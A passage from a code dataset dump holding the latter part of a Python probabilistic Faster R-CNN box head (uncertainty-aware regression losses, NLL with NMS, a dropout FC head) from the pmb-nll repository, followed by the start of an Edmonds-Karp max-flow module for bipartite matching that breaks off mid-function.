- 1)\n                ]\n                background_loss = per_proposal_loss[\n                    gt_classes == pred_class_logits.shape[1] - 1\n                ]\n\n                loss_cls = (\n                    torch.mean(foreground_loss) + torch.mean(background_loss)\n                ) / 2 + 0.01 * evidence_maximization_loss\n            else:\n                loss_cls = F.cross_entropy(\n                    pred_class_logits, gt_classes, reduction=\"mean\"\n                )\n\n        # Compute regression loss:\n        if no_instances:\n            # TODO 0.0 * pred.sum() is enough since PT1.6\n            loss_box_reg = 0.0 * smooth_l1_loss(\n                pred_proposal_deltas,\n                torch.zeros_like(pred_proposal_deltas),\n                0.0,\n                reduction=\"sum\",\n            )\n        else:\n            gt_proposal_deltas = self.box2box_transform.get_deltas(\n                proposals_boxes.tensor, gt_boxes.tensor\n            )\n            box_dim = gt_proposal_deltas.size(1)  # 4 or 5\n            cls_agnostic_bbox_reg = pred_proposal_deltas.size(1) == box_dim\n            device = pred_proposal_deltas.device\n\n            bg_class_ind = pred_class_logits.shape[1] - 1\n\n            # Box delta loss is only computed between the prediction for the gt class k\n            # (if 0 <= k < bg_class_ind) and the target; there is no loss defined on predictions\n            # for non-gt classes and background.\n            # Empty fg_inds produces a valid loss of zero as long as the size_average\n            # arg to smooth_l1_loss is False (otherwise it uses torch.mean internally\n            # and would produce a nan loss).\n            fg_inds = torch.nonzero(\n                (gt_classes >= 0) & (gt_classes < bg_class_ind), as_tuple=True\n            )[0]\n            if cls_agnostic_bbox_reg:\n                # pred_proposal_deltas only corresponds to foreground class for\n                # agnostic\n                gt_class_cols = torch.arange(box_dim, device=device)\n            else:\n                fg_gt_classes = gt_classes[fg_inds]\n                # pred_proposal_deltas for class k are located in columns [b * k : b * k + b],\n                # where b is the dimension of box representation (4 or 5)\n                # Note that compared to Detectron1,\n                # we do not perform bounding box regression for background\n                # classes.\n                gt_class_cols = box_dim * fg_gt_classes[:, None] + torch.arange(\n                    box_dim, device=device\n                )\n                gt_covar_class_cols = self.bbox_cov_dims * fg_gt_classes[\n                    :, None\n                ] + torch.arange(self.bbox_cov_dims, device=device)\n\n            loss_reg_normalizer = gt_classes.numel()\n\n            pred_proposal_deltas = pred_proposal_deltas[fg_inds[:, None], gt_class_cols]\n            gt_proposals_delta = gt_proposal_deltas[fg_inds]\n\n            if self.compute_bbox_cov:\n                pred_proposal_covs = pred_proposal_covs[\n                    fg_inds[:, None], gt_covar_class_cols\n                ]\n                pred_proposal_covs = clamp_log_variance(pred_proposal_covs)\n\n                if self.bbox_cov_loss == \"negative_log_likelihood\":\n                    if self.bbox_cov_type == \"diagonal\":\n                        # Ger foreground proposals.\n                        _proposals_boxes = proposals_boxes.tensor[fg_inds]\n\n                        # Compute regression negative log likelihood loss according to:\n                        # \"What Uncertainties Do We Need in Bayesian Deep Learning for Computer Vision?\", NIPS 2017\n                        loss_box_reg = (\n                            0.5\n                            * torch.exp(-pred_proposal_covs)\n                            * smooth_l1_loss(\n                                pred_proposal_deltas,\n                                gt_proposals_delta,\n                                beta=self.smooth_l1_beta,\n                            )\n                        )\n                        loss_covariance_regularize = 0.5 * pred_proposal_covs\n                        loss_box_reg += loss_covariance_regularize\n\n                        loss_box_reg = torch.sum(loss_box_reg) / loss_reg_normalizer\n                    else:\n                        # Multivariate Gaussian Negative Log Likelihood loss using pytorch\n                        # distributions.multivariate_normal.log_prob()\n                        forecaster_cholesky = covariance_output_to_cholesky(\n                            pred_proposal_covs\n                        )\n\n                        multivariate_normal_dists = (\n                            distributions.multivariate_normal.MultivariateNormal(\n                                pred_proposal_deltas, scale_tril=forecaster_cholesky\n                            )\n                        )\n\n                        loss_box_reg = -multivariate_normal_dists.log_prob(\n                            gt_proposals_delta\n                        )\n                        loss_box_reg = torch.sum(loss_box_reg) / loss_reg_normalizer\n\n                elif self.bbox_cov_loss == \"second_moment_matching\":\n                    # Compute regression covariance using second moment\n                    # matching.\n                    loss_box_reg = smooth_l1_loss(\n                        pred_proposal_deltas, gt_proposals_delta, self.smooth_l1_beta\n                    )\n                    errors = pred_proposal_deltas - gt_proposals_delta\n                    if self.bbox_cov_type == \"diagonal\":\n                        # Handel diagonal case\n                        second_moment_matching_term = smooth_l1_loss(\n                            torch.exp(pred_proposal_covs),\n                            errors ** 2,\n                            beta=self.smooth_l1_beta,\n                        )\n                        loss_box_reg += second_moment_matching_term\n                        loss_box_reg = torch.sum(loss_box_reg) / loss_reg_normalizer\n                    else:\n                        # Handel full covariance case\n                        errors = torch.unsqueeze(errors, 2)\n                        gt_error_covar = torch.matmul(\n                            errors, torch.transpose(errors, 2, 1)\n                        )\n\n                        # This is the cholesky decomposition of the covariance matrix.\n                        # We reconstruct it from 10 estimated parameters as a\n                        # lower triangular matrix.\n                        forecaster_cholesky = covariance_output_to_cholesky(\n                            pred_proposal_covs\n                        )\n\n                        predicted_covar = torch.matmul(\n                            forecaster_cholesky,\n                            torch.transpose(forecaster_cholesky, 2, 1),\n                        )\n\n                        second_moment_matching_term = smooth_l1_loss(\n                            predicted_covar,\n                            gt_error_covar,\n                            beta=self.smooth_l1_beta,\n                            reduction=\"sum\",\n                        )\n                        loss_box_reg = (\n                            torch.sum(loss_box_reg) + second_moment_matching_term\n                        ) / loss_reg_normalizer\n\n                elif self.bbox_cov_loss == \"energy_loss\":\n                    forecaster_cholesky = covariance_output_to_cholesky(\n                        pred_proposal_covs\n                    )\n\n                    # Define per-anchor Distributions\n                    multivariate_normal_dists = (\n                        distributions.multivariate_normal.MultivariateNormal(\n                            pred_proposal_deltas, scale_tril=forecaster_cholesky\n                        )\n                    )\n                    # Define Monte-Carlo Samples\n                    distributions_samples = multivariate_normal_dists.rsample(\n                        (self.bbox_cov_num_samples + 1,)\n                    )\n\n                    distributions_samples_1 = distributions_samples[\n                        0 : self.bbox_cov_num_samples, :, :\n                    ]\n                    distributions_samples_2 = distributions_samples[\n                        1 : self.bbox_cov_num_samples + 1, :, :\n                    ]\n\n                    # Compute energy score\n                    loss_covariance_regularize = (\n                        -smooth_l1_loss(\n                            distributions_samples_1,\n                            distributions_samples_2,\n                            beta=self.smooth_l1_beta,\n                            reduction=\"sum\",\n                        )\n                        / self.bbox_cov_num_samples\n                    )  # Second term\n\n                    gt_proposals_delta_samples = torch.repeat_interleave(\n                        gt_proposals_delta.unsqueeze(0),\n                        self.bbox_cov_num_samples,\n                        dim=0,\n                    )\n\n                    loss_first_moment_match = (\n                        2.0\n                        * smooth_l1_loss(\n                            distributions_samples_1,\n                            gt_proposals_delta_samples,\n                            beta=self.smooth_l1_beta,\n                            reduction=\"sum\",\n                        )\n                        / self.bbox_cov_num_samples\n                    )  # First term\n\n                    # Final Loss\n                    loss_box_reg = (\n                        loss_first_moment_match + loss_covariance_regularize\n                    ) / loss_reg_normalizer\n\n                elif self.bbox_cov_loss == \"pmb_negative_log_likelihood\":\n                    losses = self.nll_od_loss_with_nms(\n                        predictions, proposals, gt_instances\n                    )\n\n                    loss_box_reg = losses[\"loss_box_reg\"]\n                    use_nll_loss = True\n\n                else:\n                    raise ValueError(\n                        \"Invalid regression loss name {}.\".format(self.bbox_cov_loss)\n                    )\n\n                # Perform loss annealing. Not really essential in Generalized-RCNN case, but good practice for more\n                # elaborate regression variance losses.\n                standard_regression_loss = smooth_l1_loss(\n                    pred_proposal_deltas,\n                    gt_proposals_delta,\n                    self.smooth_l1_beta,\n                    reduction=\"sum\",\n                )\n                standard_regression_loss = (\n                    standard_regression_loss / loss_reg_normalizer\n                )\n\n                probabilistic_loss_weight = get_probabilistic_loss_weight(\n                    current_step, self.annealing_step\n                )\n\n                loss_box_reg = (\n                    (1.0 - probabilistic_loss_weight) * standard_regression_loss\n                    + probabilistic_loss_weight * loss_box_reg\n                )\n\n                if use_nll_loss:\n                    loss_cls = (1.0 - probabilistic_loss_weight) * loss_cls\n            else:\n                loss_box_reg = smooth_l1_loss(\n                    pred_proposal_deltas,\n                    gt_proposals_delta,\n                    self.smooth_l1_beta,\n                    reduction=\"sum\",\n                )\n                loss_box_reg = loss_box_reg / loss_reg_normalizer\n\n        if use_nll_loss:\n            losses[\"loss_cls\"] = loss_cls\n            losses[\"loss_box_reg\"] = loss_box_reg\n        else:\n            losses = {\"loss_cls\": loss_cls, \"loss_box_reg\": loss_box_reg}\n\n        return losses\n\n    def nll_od_loss_with_nms(\n        self,\n        predictions: Tuple[torch.Tensor, torch.Tensor, torch.Tensor, torch.Tensor],\n        proposals: List[Instances],\n        gt_instances,\n    ):\n        if \"log_prob\" in self.matching_distance and self.matching_distance != \"log_prob\":\n            covar_scaling = float(self.matching_distance.split(\"_\")[-1])\n            matching_distance = \"log_prob\"\n        else:\n            covar_scaling = 1\n            matching_distance = self.matching_distance\n\n        self.ppp_intensity_function.update_distribution()\n        _, pred_deltas, _, pred_covs = predictions\n        boxes = self.predict_boxes(predictions, proposals)\n        scores = self.predict_probs(predictions, proposals)\n        scores = [score.clamp(1e-6, 1 - 1e-6) for score in scores]\n        _, num_classes = scores[0].shape\n        num_classes -= 1  # do not count background class\n        image_shapes = [x.image_size for x in proposals]\n        num_prop_per_image = [len(p) for p in proposals]\n\n        # Apply NMS without score threshold\n        instances, kept_idx = fast_rcnn_inference(\n            boxes,\n            scores,\n            image_shapes,\n            0.0,\n            self.test_nms_thresh,\n            self.test_topk_per_image,\n        )\n\n        kept_idx = [k.unique() for k in kept_idx]\n        pred_covs = pred_covs.split(num_prop_per_image)\n        pred_deltas = pred_deltas.split(num_prop_per_image)\n\n        kept_proposals = [\n            prop.proposal_boxes.tensor[idx] for prop, idx in zip(proposals, kept_idx)\n        ]\n\n        pred_covs = [pred_cov[kept] for pred_cov, kept in zip(pred_covs, kept_idx)]\n        nll_pred_cov = [\n            covariance_output_to_cholesky(clamp_log_variance(reshape_box_preds(cov, num_classes)))\n            for cov in pred_covs\n        ]\n        nll_scores = [score[kept] for score, kept in zip(scores, kept_idx)]\n        nll_pred_deltas = [\n            reshape_box_preds(delta[kept], num_classes)\n            for delta, kept in zip(pred_deltas, kept_idx)\n        ]\n        trans_func = lambda x,y: self.box2box_transform.apply_deltas(x,y)\n        box_means = []\n        box_chols = []\n        bs = len(nll_pred_deltas)\n        for i in range(bs):\n            box_mean, box_chol = unscented_transform(nll_pred_deltas[i], nll_pred_cov[i], kept_proposals[i], trans_func)\n            box_means.append(box_mean)\n            box_chols.append(box_chol)\n        \n        nll_gt_classes = [instances.gt_classes for instances in gt_instances]\n        gt_boxes = [instances.gt_boxes.tensor for instances in gt_instances]\n\n        if self.bbox_cov_dist_type == \"gaussian\":\n            regression_dist = (\n                lambda x, y: distributions.multivariate_normal.MultivariateNormal(\n                    loc=x, scale_tril=y\n                )\n            )\n        elif self.bbox_cov_dist_type == \"laplacian\":\n            regression_dist = lambda x, y: distributions.laplace.Laplace(\n                loc=x, scale=y.diagonal(dim1=-2, dim2=-1) / np.sqrt(2)\n            )\n        else:\n            raise Exception(\n                f\"Bounding box uncertainty distribution {self.bbox_cov_dist_type} is not available.\"\n            )\n\n        if self.use_prediction_mixture:\n            ppps = []\n            src_boxes_tot = []\n            src_box_chol_tot = []\n            src_boxes_deltas_tot = []\n            src_boxes_deltas_chol_tot = []\n            src_scores_tot = []\n            gt_box_deltas = []\n            for i in range(bs):\n                image_shape = image_shapes[i]\n                h,w = image_shape\n                scaling = torch.tensor([1/w,1/h],device=box_means[i].device).repeat(2)\n                pred_box_means = box_means[i]*scaling\n                pred_box_chols = torch.diag_embed(scaling)@box_chols[i]\n                pred_box_deltas = nll_pred_deltas[i]\n                pred_box_delta_chols = nll_pred_cov[i]\n                pred_cls_probs = nll_scores[i]\n\n                #max_conf = pred_cls_probs[..., :num_classes].max(dim=1)[0]\n                max_conf = 1 - pred_cls_probs[..., -1]\n                ppp_preds_idx = (\n                    max_conf <= self.ppp_intensity_function.ppp_confidence_thres\n                )\n\n                props = kept_proposals[i][ppp_preds_idx.logical_not()]\n\n                # Get delta between each GT and proposal, batch-wise\n                tmp = torch.stack(\n                    [\n                        self.box2box_transform.get_deltas(\n                            props,\n                            gt_boxes[i][j].unsqueeze(0).repeat(len(props), 1),\n                        )\n                        for j in range(len(gt_boxes[i]))\n                    ]\n                )\n\n                gt_box_deltas.append(\n                    tmp.permute(1, 0, 2)\n                )  # [gt,pred,boxdim] -> [pred, gt, boxdim]\n\n                gt_boxes[i] = gt_boxes[i]*scaling\n\n                mixture_dict = {}\n                mixture_dict[\"weights\"] = max_conf[ppp_preds_idx]\n                mixture_dict[\"means\"] = pred_box_means[ppp_preds_idx, 0]\n                selected_chols = pred_box_chols[ppp_preds_idx, 0]\n                mixture_dict[\"covs\"] = selected_chols@(selected_chols.transpose(-1,-2))\n                mixture_dict[\"cls_probs\"] = pred_cls_probs[ppp_preds_idx, :self.num_classes]\n                mixture_dict[\"reg_dist_type\"] = self.bbox_cov_dist_type\n\n                if self.bbox_cov_dist_type == \"gaussian\":\n                    mixture_dict[\n                        \"reg_dist\"\n                    ] = distributions.multivariate_normal.MultivariateNormal\n                    mixture_dict[\"reg_kwargs\"] = {\n                        \"scale_tril\": selected_chols\n                    }\n                elif self.bbox_cov_dist_type == \"laplacian\":\n                    mixture_dict[\"reg_dist\"] = distributions.laplace.Laplace\n                    mixture_dict[\"reg_kwargs\"] = {\n                        \"scale\": (\n                            selected_chols.diagonal(dim1=-2, dim2=-1)\n                            / np.sqrt(2)\n                        )\n                    }\n                loss_ppp = PoissonPointUnion()\n                loss_ppp.add_ppp(self.ppp_constructor({\"predictions\": mixture_dict}))\n                loss_ppp.add_ppp(self.ppp_intensity_function)\n\n                mixture_dict = {}\n                mixture_dict[\"weights\"] = max_conf[ppp_preds_idx]\n                mixture_dict[\"means\"] = pred_box_means[ppp_preds_idx, 0]\n                \n                scale_mat = torch.eye(pred_box_chols.shape[-1]).to(pred_box_chols.device)*covar_scaling\n                scaled_chol = scale_mat@pred_box_chols[ppp_preds_idx, 0]\n                mixture_dict[\"covs\"] = (scaled_chol)@(scaled_chol.transpose(-1,-2))\n                mixture_dict[\"cls_probs\"] = pred_cls_probs[ppp_preds_idx, :self.num_classes]\n                mixture_dict[\"reg_dist_type\"] = self.bbox_cov_dist_type\n\n                if self.bbox_cov_dist_type == \"gaussian\":\n                    mixture_dict[\n                        \"reg_dist\"\n                    ] = distributions.multivariate_normal.MultivariateNormal\n                    mixture_dict[\"reg_kwargs\"] = {\n                        \"scale_tril\": scaled_chol\n                    }\n                elif self.bbox_cov_dist_type == \"laplacian\":\n                    mixture_dict[\"reg_dist\"] = distributions.laplace.Laplace\n                    mixture_dict[\"reg_kwargs\"] = {\n                        \"scale\": (\n                            (scaled_chol).diagonal(dim1=-2, dim2=-1)\n                            / np.sqrt(2)\n                        )\n                    }\n                \n                match_ppp = PoissonPointUnion()\n                match_ppp.add_ppp(self.ppp_constructor({\"predictions\": mixture_dict}))\n                match_ppp.add_ppp(self.ppp_intensity_function)\n                ppps.append({\"matching\": match_ppp, \"loss\": loss_ppp})\n\n                src_boxes_tot.append(pred_box_means[ppp_preds_idx.logical_not()])\n                src_box_chol_tot.append(pred_box_chols[ppp_preds_idx.logical_not()])\n                src_scores_tot.append(pred_cls_probs[ppp_preds_idx.logical_not()])\n                src_boxes_deltas_tot.append(pred_box_deltas[ppp_preds_idx.logical_not()])\n                src_boxes_deltas_chol_tot.append(pred_box_delta_chols[ppp_preds_idx.logical_not()])\n\n            nll_pred_deltas = src_boxes_deltas_tot\n            nll_pred_delta_chols = src_boxes_deltas_chol_tot\n            nll_pred_boxes = src_boxes_tot\n            nll_pred_cov = src_box_chol_tot\n            nll_scores = src_scores_tot\n            use_target_delta_matching = False\n        elif self.ppp_intensity_function.ppp_intensity_type == \"gaussian_mixture\":\n            ppps = []\n            src_boxes_tot = []\n            src_box_chol_tot = []\n            src_boxes_deltas_tot = []\n            src_boxes_deltas_chol_tot = []\n            src_scores_tot = []\n            gt_box_deltas = []\n            for i in range(bs):\n                image_shape = image_shapes[i]\n                h,w = image_shape\n                scaling = torch.tensor([1/w,1/h],device=box_means[i].device).repeat(2)\n                pred_box_means = box_means[i]*scaling\n                pred_box_chols = torch.diag_embed(scaling)@box_chols[i]\n                pred_box_deltas = nll_pred_deltas[i]\n                pred_box_delta_chols = nll_pred_cov[i]\n                pred_cls_probs = nll_scores[i]\n                props = kept_proposals[i]\n\n                # Get delta between each GT and proposal, batch-wise\n                tmp = torch.stack(\n                    [\n                        self.box2box_transform.get_deltas(\n                            props,\n                            gt_boxes[i][j].unsqueeze(0).repeat(len(props), 1),\n                        )\n                        for j in range(len(gt_boxes[i]))\n                    ]\n                )\n\n                gt_box_deltas.append(\n                    tmp.permute(1, 0, 2)\n                )  # [gt,pred,boxdim] -> [pred, gt, boxdim]\n\n                gt_boxes[i] = gt_boxes[i]*scaling\n\n                src_boxes_tot.append(pred_box_means)\n                src_box_chol_tot.append(pred_box_chols)\n                src_scores_tot.append(pred_cls_probs)\n                src_boxes_deltas_tot.append(pred_box_deltas)\n                src_boxes_deltas_chol_tot.append(pred_box_delta_chols)\n\n            nll_pred_deltas = src_boxes_deltas_tot\n            nll_pred_delta_chols = src_boxes_deltas_chol_tot\n            nll_pred_boxes = src_boxes_tot\n            nll_pred_cov = src_box_chol_tot\n            nll_scores = src_scores_tot\n            use_target_delta_matching = False\n            ppps = [{\"loss\": self.ppp_intensity_function, \"matching\": self.ppp_intensity_function}]*bs\n        else:\n            gt_box_deltas = []\n            for i in range(len(gt_boxes)):\n                # Get delta between each GT and proposal, batch-wise\n                tmp = torch.stack(\n                    [\n                        self.box2box_transform.get_deltas(\n                            kept_proposals[i],\n                            gt_boxes[i][j].unsqueeze(0).repeat(len(kept_proposals[i]), 1),\n                        )\n                        for j in range(len(gt_boxes[i]))\n                    ]\n                )\n\n                gt_box_deltas.append(\n                    tmp.permute(1, 0, 2)\n                )  # [gt,pred,boxdim] -> [pred, gt, boxdim]\n            \n            use_target_delta_matching = True\n            ppps = [{\"loss\": self.ppp_intensity_function, \"matching\": self.ppp_intensity_function}]*bs\n            nll_pred_delta_chols = nll_pred_cov\n            nll_pred_deltas = nll_pred_deltas\n            nll_pred_boxes = nll_pred_deltas\n            nll_pred_cov = nll_pred_cov\n        \n        nll, associations, decompositions = negative_log_likelihood(\n            nll_scores,\n            nll_pred_boxes,\n            nll_pred_cov,\n            gt_boxes,\n            nll_gt_classes,\n            image_shapes,\n            regression_dist,\n            ppps,\n            self.nll_max_num_solutions,\n            scores_have_bg_cls=True,\n            target_deltas=gt_box_deltas,\n            matching_distance=matching_distance,\n            use_target_delta_matching=use_target_delta_matching,\n            pred_deltas=nll_pred_deltas,\n            pred_delta_chols=nll_pred_delta_chols,\n        )\n\n        # Save some stats\n        storage = get_event_storage()\n        num_classes = self.num_classes\n        mean_variance = np.mean(\n            [\n                cov.diagonal(dim1=-2,dim2=-1)\n                .pow(2)\n                .mean()\n                .item()\n                for cov in nll_pred_cov\n                if cov.shape[0] > 0\n            ]\n        )\n        storage.put_scalar(\"nll/mean_covariance\", mean_variance)\n        ppp_intens = np.sum([ppp[\"loss\"].integrate(\n                torch.as_tensor(image_shapes).to(device), num_classes\n            )\n            .mean()\n            .item()\n            for ppp in ppps\n            ])\n        storage.put_scalar(\"nll/ppp_intensity\", ppp_intens)\n\n        reg_loss = np.mean(\n            [\n                np.clip(\n                    decomp[\"matched_bernoulli_reg\"][0]\n                    / (decomp[\"num_matched_bernoulli\"][0] + 1e-6),\n                    -1e25,\n                    1e25,\n                )\n                for decomp in decompositions\n            ]\n        )\n        cls_loss_match = np.mean(\n            [\n                np.clip(\n                    decomp[\"matched_bernoulli_cls\"][0]\n                    / (decomp[\"num_matched_bernoulli\"][0] + 1e-6),\n                    -1e25,\n                    1e25,\n                )\n                for decomp in decompositions\n            ]\n        )\n        cls_loss_no_match = np.mean(\n            [\n                np.clip(\n                    decomp[\"unmatched_bernoulli\"][0]\n                    / (decomp[\"num_unmatched_bernoulli\"][0] + 1e-6),\n                    -1e25,\n                    1e25,\n                )\n                for decomp in decompositions\n            ]\n        )\n\n        # Collect all losses\n        losses = dict()\n        losses[\"loss_box_reg\"] = nll\n        # Add losses for logging, these do not propagate gradients\n        losses[\"loss_regression\"] = torch.tensor(reg_loss).to(nll.device)\n        losses[\"loss_cls_matched\"] = torch.tensor(cls_loss_match).to(nll.device)\n        losses[\"loss_cls_unmatched\"] = torch.tensor(cls_loss_no_match).to(nll.device)\n\n        return losses\n\n    def inference(self, predictions, proposals):\n        \"\"\"\n        Returns:\n            list[Instances]: same as `fast_rcnn_inference`.\n            list[Tensor]: same as `fast_rcnn_inference`.\n        \"\"\"\n        boxes = self.predict_boxes(predictions, proposals)\n        scores = self.predict_probs(predictions, proposals)\n        image_shapes = [x.image_size for x in proposals]\n        return fast_rcnn_inference(\n            boxes,\n            scores,\n            image_shapes,\n            self.test_score_thresh,\n            self.test_nms_thresh,\n            self.test_topk_per_image,\n        )\n\n    def predict_boxes_for_gt_classes(self, predictions, proposals):\n        \"\"\"\n        Returns:\n            list[Tensor]: A list of Tensors of predicted boxes for GT classes in case of\n                class-specific box head. Element i of the list has shape (Ri, B), where Ri is\n                the number of predicted objects for image i and B is the box dimension (4 or 5)\n        \"\"\"\n        if not len(proposals):\n            return []\n        scores, proposal_deltas = predictions\n        proposal_boxes = [p.proposal_boxes for p in proposals]\n        proposal_boxes = proposal_boxes[0].cat(proposal_boxes).tensor\n        N, B = proposal_boxes.shape\n        predict_boxes = self.box2box_transform.apply_deltas(\n            proposal_deltas, proposal_boxes\n        )  # Nx(KxB)\n\n        K = predict_boxes.shape[1] // B\n        if K > 1:\n            gt_classes = torch.cat([p.gt_classes for p in proposals], dim=0)\n            # Some proposals are ignored or have a background class. Their gt_classes\n            # cannot be used as index.\n            gt_classes = gt_classes.clamp_(0, K - 1)\n\n            predict_boxes = predict_boxes.view(N, K, B)[\n                torch.arange(N, dtype=torch.long, device=predict_boxes.device),\n                gt_classes,\n            ]\n        num_prop_per_image = [len(p) for p in proposals]\n        return predict_boxes.split(num_prop_per_image)\n\n    def predict_boxes(self, predictions, proposals):\n        \"\"\"\n        Args:\n            predictions: return values of :meth:`forward()`.\n            proposals (list[Instances]): proposals that match the features that were\n                used to compute predictions. The ``proposal_boxes`` field is expected.\n\n        Returns:\n            list[Tensor]: A list of Tensors of predicted class-specific or class-agnostic boxes\n                for each image. Element i has shape (Ri, K * B) or (Ri, B), where Ri is\n                the number of predicted objects for image i and B is the box dimension (4 or 5)\n        \"\"\"\n        if not len(proposals):\n            return []\n        _, proposal_deltas, _, _ = predictions\n        num_prop_per_image = [len(p) for p in proposals]\n        proposal_boxes = [p.proposal_boxes for p in proposals]\n        proposal_boxes = proposal_boxes[0].cat(proposal_boxes).tensor\n        predict_boxes = self.box2box_transform.apply_deltas(\n            proposal_deltas, proposal_boxes\n        )  # Nx(KxB)\n        return predict_boxes.split(num_prop_per_image)\n\n    def predict_probs(self, predictions, proposals):\n        \"\"\"\n        Args:\n            predictions: return values of :meth:`forward()`.\n            proposals (list[Instances]): proposals that match the features that were\n                used to compute predictions.\n\n        Returns:\n            list[Tensor]: A list of Tensors of predicted class probabilities for each image.\n                Element i has shape (Ri, K + 1), where Ri is the number of predicted objects\n                for image i.\n        \"\"\"\n        scores, _, _, _ = predictions\n        num_inst_per_image = [len(p) for p in proposals]\n        if self.cls_var_loss == \"evidential\":\n            alphas = get_dir_alphas(scores)\n            dirichlet_s = alphas.sum(1).unsqueeze(1)\n            # Compute probabilities\n            probs = alphas / dirichlet_s\n        else:\n            probs = F.softmax(scores, dim=-1)\n        return probs.split(num_inst_per_image, dim=0)\n\n\n# Todo: new detectron interface required copying code. Check for better\n# way to inherit from FastRCNNConvFCHead.\n@ROI_BOX_HEAD_REGISTRY.register()\nclass DropoutFastRCNNConvFCHead(nn.Module):\n    \"\"\"\n    A head with several 3x3 conv layers (each followed by norm & relu) and then\n    several fc layers (each followed by relu) and dropout.\n    \"\"\"\n\n    @configurable\n    def __init__(\n        self,\n        input_shape: ShapeSpec,\n        *,\n        conv_dims: List[int],\n        fc_dims: List[int],\n        conv_norm=\"\",\n        dropout_rate,\n    ):\n        \"\"\"\n        NOTE: this interface is experimental.\n\n        Args:\n            input_shape (ShapeSpec): shape of the input feature.\n            conv_dims (list[int]): the output dimensions of the conv layers\n            fc_dims (list[int]): the output dimensions of the fc layers\n            conv_norm (str or callable): normalization for the conv layers.\n                See :func:`detectron2.layers.get_norm` for supported types.\n            dropout_rate (float): p for dropout layer\n        \"\"\"\n        super().__init__()\n        assert len(conv_dims) + len(fc_dims) > 0\n\n        self.dropout_rate = dropout_rate\n        self.use_dropout = self.dropout_rate != 0.0\n\n        self._output_size = (\n            input_shape.channels,\n            input_shape.height,\n            input_shape.width,\n        )\n\n        self.conv_norm_relus = []\n        for k, conv_dim in enumerate(conv_dims):\n            conv = Conv2d(\n                self._output_size[0],\n                conv_dim,\n                kernel_size=3,\n                padding=1,\n                bias=not conv_norm,\n                norm=get_norm(conv_norm, conv_dim),\n                activation=F.relu,\n            )\n            self.add_module(\"conv{}\".format(k + 1), conv)\n            self.conv_norm_relus.append(conv)\n            self._output_size = (conv_dim, self._output_size[1], self._output_size[2])\n\n        self.fcs = []\n        self.fcs_dropout = []\n        for k, fc_dim in enumerate(fc_dims):\n            fc = Linear(np.prod(self._output_size), fc_dim)\n            fc_dropout = nn.Dropout(p=self.dropout_rate)\n            self.add_module(\"fc{}\".format(k + 1), fc)\n            self.add_module(\"fc_dropout{}\".format(k + 1), fc_dropout)\n            self.fcs.append(fc)\n            self.fcs_dropout.append(fc_dropout)\n            self._output_size = fc_dim\n\n        for layer in self.conv_norm_relus:\n            weight_init.c2_msra_fill(layer)\n        for layer in self.fcs:\n            weight_init.c2_xavier_fill(layer)\n\n    @classmethod\n    def from_config(cls, cfg, input_shape):\n        num_conv = cfg.MODEL.ROI_BOX_HEAD.NUM_CONV\n        conv_dim = cfg.MODEL.ROI_BOX_HEAD.CONV_DIM\n        num_fc = cfg.MODEL.ROI_BOX_HEAD.NUM_FC\n        fc_dim = cfg.MODEL.ROI_BOX_HEAD.FC_DIM\n        return {\n            \"input_shape\": input_shape,\n            \"conv_dims\": [conv_dim] * num_conv,\n            \"fc_dims\": [fc_dim] * num_fc,\n            \"conv_norm\": cfg.MODEL.ROI_BOX_HEAD.NORM,\n            \"dropout_rate\": cfg.MODEL.PROBABILISTIC_MODELING.DROPOUT_RATE,\n        }\n\n    def forward(self, x):\n        for layer in self.conv_norm_relus:\n            x = layer(x)\n        if len(self.fcs):\n            if x.dim() > 2:\n                x = torch.flatten(x, start_dim=1)\n            for layer, dropout in zip(self.fcs, self.fcs_dropout):\n                x = F.relu(dropout(layer(x)))\n        return x\n\n    @property\n    def output_shape(self):\n        \"\"\"\n        Returns:\n            ShapeSpec: the output feature shape\n        \"\"\"\n        o = self._output_size\n        if isinstance(o, int):\n            return ShapeSpec(channels=o)\n        else:\n            return ShapeSpec(channels=o[0], height=o[1], width=o[2])\n","repo_name":"georghess/pmb-nll","sub_path":"src/probabilistic_modeling/probabilistic_generalized_rcnn.py","file_name":"probabilistic_generalized_rcnn.py","file_ext":"py","file_size_in_byte":66644,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"16"}
+{"seq_id":"73765280649","text":"from typing import List, Tuple, Union\n\nimport numpy as np\nfrom numpy import ndarray\n\nfrom maximum_matching.algorithms.algorithm_base import AlgorithmBase\nfrom maximum_matching.graphs.graph_base import BipartiteSet, GraphBase\n\n\nclass MaxFlow(AlgorithmBase):\n    \"\"\"\n    Edmonds Karp algorithm implementation of the Maximum Flow problem\n    \"\"\"\n\n    INF = 1000000009\n\n    def __init__(self) -> None:\n        super().__init__()\n        # self.vec = np.empty(1)  # graph on which the max flow will run\n        # self.visited = np.empty(1)\n        # self.capacity = np.empty(1)  # 2D array for capacity\n        # self.bfs_path = np.empty(1)\n\n    @staticmethod\n    def bfs(start: int, endd: int, n: int, vec, capacity) -> Tuple[bool, np.ndarray]:\n        bfs_path = np.full(shape=n, fill_value=-1)\n        visited = np.full(shape=n, fill_value=False, dtype=bool)\n        visited[start] = True\n\n        que = [start]\n        found = False\n\n        while len(que) > 0 and not found:\n            u = que.pop(0)\n\n            if found:\n                break\n\n            vec_u = np.where(vec[u] > -1)[0]\n            vec_u_2 = vec_u[np.logical_and(np.logical_not(visited[vec_u]), capacity[u][vec_u] > 0)]\n\n            visited[vec_u_2] = True\n            bfs_path[vec_u_2] = u\n            que += list(vec_u_2)\n\n            if endd in vec_u_2:\n                found = True\n                break\n\n        return found, bfs_path\n\n    @staticmethod\n    def run_max_flow(src: int, sink: int, n: int, vec, capacity) -> int:\n        max_flow = 0\n        min_capacity = MaxFlow.INF\n\n        bfs_res, bfs_path = MaxFlow.bfs(src, sink, n, vec, capacity)\n        while bfs_res is True:\n\n            x = sink\n            while x != src:\n                min_capacity = min(min_capacity, capacity[bfs_path[x]][x])\n                x = bfs_path[x]\n\n            x = sink\n            while x != src and min_capacity != MaxFlow.INF:\n                capacity[bfs_path[x]][x] -= min_capacity\n                capacity[x][bfs_path[x]] += min_capacity\n                x = bfs_path[x]\n\n            max_flow += min_capacity\n            min_capacity = MaxFlow.INF\n            bfs_res, bfs_path = MaxFlow.bfs(src, sink, n, vec, capacity)\n\n        return max_flow\n\n    @staticmethod\n    def find_max_bipartite(graph: GraphBase, sourceSinkCap: int = 1) -> \\\n            Tuple[int, Union[List, None]]:\n\n        left_side = graph.get_independent_set(BipartiteSet.left)\n        right_side = graph.get_independent_set(BipartiteSet.right)\n\n        source_node = graph.size\n        sink_node = graph.size + 1\n        total_nodes = graph.size + 2\n\n        vec = np.full(shape=(total_nodes, total_nodes), fill_value=-1, dtype=int)\n        capacity = 